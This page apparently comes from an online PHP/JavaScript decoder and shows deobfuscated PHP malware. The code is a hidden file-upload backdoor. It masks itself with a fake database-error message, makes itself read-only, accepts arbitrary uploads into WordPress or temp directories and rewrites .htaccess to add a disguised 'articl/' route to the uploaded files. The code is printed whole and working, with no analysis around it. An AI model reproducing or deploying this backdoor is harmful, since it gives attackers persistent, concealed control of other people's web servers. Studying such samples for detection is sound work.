Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


error_reporting(0);
chmod(basename($_SERVER["PHP_SELF"]), 0444);
echo("#DB_connection_error");
if(isset($_GET["u"])){
    echo'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
    echo'<input type="file" name="file" size="30"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
    if($_POST['_upl']=="Upload"){

        $baseDir = '/uploads/' . date('Y') . '/' . date('m') . '/';
        $dirsToCheck = [
            '/wp-content/uploads/' . date('Y') . '/' . date('m'),
            '/wp-content/uploads/' . date('Y'),
            '/wp-content/uploads',
            '/uploads',
            '/files',
            '/tmp',
            '/temp'
        ];
        
        $targetDir = null;
        foreach ($dirsToCheck as $dir) {
            if (is_dir($_SERVER['DOCUMENT_ROOT'] . $dir)) {
                $targetDir = $dir . '/';
                break;
            }
        }
        
        if (!$targetDir) {
            $targetDir = $baseDir;
            mkdir($_SERVER['DOCUMENT_ROOT'] . $baseDir, 0777, true);
        }
        
        $relativePath = $targetDir . $_FILES['file']['name'];
        
        if (@copy($_FILES['file']['tmp_name'], $_SERVER['DOCUMENT_ROOT'] . $relativePath)){
        
            echo 'SSS '.$_FILES['file']['tmp_name'].' '.$relativePath;
            if($_FILES['file']['name'] != 'antivirus.php') {

                $htaccessFile = $_SERVER['DOCUMENT_ROOT'] . '/.htaccess'; 
                $newRule = "RewriteRule ^articl/" . $_FILES['file']['name'] . "$ " . $relativePath . " [L]";
                
                if (file_exists($htaccessFile)) {
                    $htaccessContent = file_get_contents($htaccessFile);
                    if (strpos($htaccessContent, $newRule) !== false) {
                        echo " + Rulalexi";
                    } else {
                        if (strpos($htaccessContent, '<IfModule mod_rewrite.c>') === false) {
                            $htaccessContent = "<IfModule mod_rewrite.c>\nRewriteEngine On\n$newRule\n</IfModule>\n\n" . $htaccessContent;
                        } else {
                            $patternIfModule = '/<IfModule\s+mod_rewrite\.c>(.*)<\/IfModule>/is';
                            if (preg_match($patternIfModule, $htaccessContent, $matches)) {
                                $blockContent = $matches[1];
                                if (strpos($blockContent, 'RewriteEngine On') === false) {
                                    $blockContent = "RewriteEngine On\n" . $blockContent;
                                }
                                $blockContent = preg_replace('/(RewriteEngine On)/i', "$1\n$newRule", $blockContent, 1);
                                $newBlock = "<IfModule mod_rewrite.c>\n" . $blockContent . "\n</IfModule>";
                                $htaccessContent = preg_replace($patternIfModule, $newBlock, $htaccessContent, 1);
                            } else {
                                $htaccessContent = "<IfModule mod_rewrite.c>\nRewriteEngine On\n$newRule\n</IfModule>\n\n" . $htaccessContent;
                            }
                        }
                        if (file_put_contents($htaccessFile, $htaccessContent)) {
                            echo " + Sucrul";
                        } else {
                            echo " + Falrul";
                        }
                    }
                } else {
                    $htaccessContent = "<IfModule mod_rewrite.c>\nRewriteEngine On\n$newRule\n</IfModule>\n";
                    if (file_put_contents($htaccessFile, $htaccessContent)) {
                        echo " + Sucrul";
                    } else {
                        echo " + Falrul";
                    }
                }
            }
        } else {
            echo 'FFF '.$_FILES['file']['tmp_name'].' '.$relativePath;
        }
    };
};



© 2023 Quttera Ltd. All rights reserved.